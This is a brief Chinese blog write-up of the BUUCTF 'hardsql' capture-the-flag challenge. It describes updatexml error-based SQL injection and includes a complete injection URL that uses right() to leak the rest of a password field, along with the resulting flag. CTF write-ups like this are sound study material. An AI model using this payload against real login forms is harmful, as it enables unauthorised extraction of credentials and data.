buuctf hardsql

这是一道sql报错注入题目

试着输入一些,

再尝试后发现这个是用updatexml报错法注入

那就直接按模板来

库名是geek

表名也可以出来

字段值三个 是id,username,password

查询字段值看到flag

但是只有一半的flag,怎么拿到右半部分?

学到一个注入模板的技巧

left()right()语句:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1

得到flag  

flag{f0786505-a1b4-484d-a928-d594218441c8}

 

关于这个left()right()语句,就是返回被请求部分的左右侧部分

语句可以如下:

select left(姓名,3) from ***
select right(姓名,3) from ***

select right('学院',1)+ left('学院',1)   等

posted @ 2021-06-21 22:06  lixin-gf666  阅读(142)  评论(0编辑  收藏  举报